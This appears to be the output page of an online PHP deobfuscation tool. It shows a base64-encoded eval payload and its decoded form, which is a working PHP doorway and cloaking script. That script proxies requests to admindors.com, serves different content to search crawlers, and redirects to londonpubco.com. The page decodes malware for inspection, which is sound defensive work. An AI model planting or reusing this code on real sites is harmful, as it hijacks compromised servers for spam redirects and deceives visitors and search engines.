Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAkdXJsID0gImh0dHA6Ly9hZG1pbmRvcnMuY29..

Decoded Output download

  error_reporting(0);  $url = "http://admindors.com/redbutton/main2-dors/13y-129-1/";  $e = '.php';  $q = "";  $test = 'suka-test';  if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_GET[$q] : $_SERVER["QUERY_STRING"]))  	{  	if($test && $a == $test)  		{  		echo 'OK';  		exit;  		}  	curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h))), CURLOPT_RETURNTRANSFER, 1);  	curl_setopt($ch, CURLOPT_HEADER, 1);  	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);  	curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);  	if (isset($_SERVER["HTTP_REFERER"]))  		{  		curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);  		}  	$result = curl_exec($ch);    	curl_setopt($chg=curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h))), CURLOPT_RETURNTRANSFER, 1);  	curl_setopt($chg, CURLOPT_HEADER, 0);  	curl_setopt($chg, CURLOPT_FOLLOWLOCATION, 0);  	curl_setopt($chg, CURLOPT_USERAGENT, 'Google');  	$resultg = curl_exec($chg);    	$cg = curl_getinfo($chg, CURLINFO_HTTP_CODE);    	$c = curl_getinfo($ch, CURLINFO_HTTP_CODE);  	if (($c == 301 || $c == 302) && ($u = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)))  		{	  		if ($cg == 200 && $resultg)  			{  			if (preg_match('#Location\: ([\S]+)#',$result,$rdr)) $rd = $rdr[1];  			else $rd = $u;  			header('Location: ' . $rd, true, $c);  			exit;  			}  		else  			{  			curl_setopt($chc=curl_init('http://londonpubco.com'.$_SERVER["REQUEST_URI"].'?myclearcode'), CURLOPT_RETURNTRANSFER, 1);  			curl_setopt($chc, CURLOPT_HEADER, 0);  			curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0);  			die(curl_exec($chc));  			exit;  			}  		}  	else if ($resultg=='' || $cg == 404)  		{  		curl_setopt($chc=curl_init('http://londonpubco.com'.$_SERVER["REQUEST_URI"].'?myclearcode'), CURLOPT_RETURNTRANSFER, 1);  		curl_setopt($chc, CURLOPT_HEADER, 0);  		curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0);  		die(curl_exec($chc));  		exit;  		}  	else if ($c == 200 && $result)  		{  		header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE));  		$result = preg_replace('#^.*?\<html#si','<html',$result);  		echo ($h || substr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote(($t = ((!strncmp($_SERVER["REQUEST_URI"], $t = $_SERVER["SCRIPT_NAME"], strlen($t))) ? ($t . '?' . ($q ? $q . '=' : '' )) : '/' . substr($_SERVER["REQUEST_URI"], 1, -strlen($a))) . ((substr($a, -1) != '/' && ($y = strrpos($a, '/'))) ? substr($a, 0, $y) . '/' : '' )), '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)>/i', '<a$1href="$2' . (($h = strlen($w) - strlen($e) - strlen($a)) < 0 ? substr($a, $h) : "") . '"$4>', preg_replace('/<(a|link|img)(.*?)(href|src)=["\']([^\/][a-z0-9-_\.\/]+)["\'](.*?)>/i', '<$1$2$3="' . $t . '$4"$5>', preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result))) : $result; exit;  		}  	}  header('HTTP/1.0 404 Not Found', true);  exit;  

Did this file decode correctly?

Original Code

<? eval(base64_decode("ICBlcnJvcl9yZX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Vic3RyKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAxLCAtc3RybGVuKCRhKSkpIC4gKChzdWJzdHIoJGEsIC0xKSAhPSAnLycgJiYgKCR5ID0gc3RycnBvcygkYSwgJy8nKSkpID8gc3Vic3RyKCRhLCAwLCAkeSkgLiAnLycgOiAnJyApKSwgJy8nKSAuICdbYS16MC05LV9dKykoJyAuIHByZWdfcXVvdGUoJGUpIC4gJylbIlwnXSguKj8pPi9pJywgJzxhJDFocmVmPSIkMicgLiAoKCRoID0gc3RybGVuKCR3KSAtIHN0cmxlbigkZSkgLSBzdHJsZW4oJGEpKSA8IDAgPyBzdWJzdHIoJGEsICRoKSA6ICIiKSAuICciJDQ+JywgcHJlZ19yZXBsYWNlKCcvPChhfGxpbmt8aW1nKSguKj8pKGhyZWZ8c3JjKT1bIlwnXShbXlwvXVthLXowLTktX1wuXC9dKylbIlwnXSguKj8pPi9pJywgJzwkMSQyJDM9IicgLiAkdCAuICckNCIkNT4nLCBwcmVnX3JlcGxhY2UoJy9iYWNrZ3JvdW5kKC1pbWFnZVw6fFw6KSguKj91cmxcKFsiXCddKShbXlwvXVthLXowLTktX1wuXC9dKykoWyJcJ11cKSkvaScsICdiYWNrZ3JvdW5kJDEkMicgLiAkdCAuICckMyQ0JywgJHJlc3VsdCkpKSA6ICRyZXN1bHQ7IGV4aXQ7ICAJCX0gIAl9ICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlKTsgIGV4aXQ7ICA=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 1627af16c20128c83ed2b91a6214f904
Eval Count 1
Decode Time 90 ms